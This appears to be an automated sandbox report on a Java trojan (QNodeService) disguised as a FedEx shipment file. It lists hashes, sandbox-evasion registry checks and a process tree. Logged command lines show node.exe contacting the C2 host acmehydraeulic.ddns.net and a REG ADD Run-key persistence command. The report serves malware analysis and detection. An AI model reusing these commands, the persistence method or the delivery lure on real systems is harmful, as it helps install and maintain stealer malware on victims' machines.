Analysis
-
max time kernel
148s -
max time network
127s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
07-11-2020 10:29
Static task
static1
Behavioral task
behavioral1
Sample
FedEx #187320605737.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
FedEx #187320605737.jar
Resource
win10v20201028
General
-
Target
FedEx #187320605737.jar
-
Size
106KB
-
MD5
639fd60d4b49d245a3cfcf1b0efd53d8
-
SHA1
dbb2cc62b6bafc230cd704bc0ab7bda4553dd2d7
-
SHA256
e28c627767fe05831e29d27494df463d277978725fa74b4bdf18840861e7781b
-
SHA512
d6c8973a23a5244032b28825279e108c7cf88ba5a9057fd2379f145cfa4bd91de0d4be96420638a2c138a6b66f2800590d194a2396875a4eb18cca23edbf0c26
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 196 node.exe 3988 node.exe 1096 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\4ae3d318-7e15-4b9d-8825-980f057ed251 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab42-182.dat js behavioral2/files/0x000100000001ab42-185.dat js behavioral2/files/0x000100000001ab42-189.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 25 wtfismyip.com 26 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 196 node.exe 196 node.exe 196 node.exe 196 node.exe 3988 node.exe 3988 node.exe 3988 node.exe 3988 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe 1096 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4708 wrote to memory of 3896 4708 java.exe 76 PID 4708 wrote to memory of 3896 4708 java.exe 76 PID 3896 wrote to memory of 196 3896 javaw.exe 80 PID 3896 wrote to memory of 196 3896 javaw.exe 80 PID 196 wrote to memory of 3988 196 node.exe 82 PID 196 wrote to memory of 3988 196 node.exe 82 PID 3988 wrote to memory of 1096 3988 node.exe 83 PID 3988 wrote to memory of 1096 3988 node.exe 83 PID 1096 wrote to memory of 5064 1096 node.exe 85 PID 1096 wrote to memory of 5064 1096 node.exe 85 PID 5064 wrote to memory of 4128 5064 cmd.exe 86 PID 5064 wrote to memory of 4128 5064 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\FedEx #187320605737.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\0969a94a.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:196 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PUye24\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PUye24\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4ae3d318-7e15-4b9d-8825-980f057ed251" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4ae3d318-7e15-4b9d-8825-980f057ed251" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:4128
-
-
-
-
-
-